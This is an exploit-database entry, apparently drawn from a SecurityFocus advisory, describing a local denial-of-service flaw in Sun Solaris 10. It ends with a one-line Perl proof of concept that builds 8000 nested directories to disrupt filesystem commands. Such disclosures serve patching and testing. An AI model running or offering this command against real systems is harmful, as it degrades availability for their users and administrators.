Sun Solaris 10 - Nested Directory Tree Local Denial of Service

Author: Maksymilian Arciemowicz
type: dos
platform: solaris
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date_added: 2010-05-21 
date_updated: 2014-07-10 
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source: https://www.securityfocus.com/bid/40319/info

Sun Solaris is prone to a local denial-of-service vulnerability.

Exploiting this issue allows local users to cause denial-of-service conditions in certain filesystem commands.

Sun Solaris 10 is affected, other versions may also be vulnerable.

perl -e '$a="X";for(1..8000){ ! -d $a and mkdir $a and chdir $a }'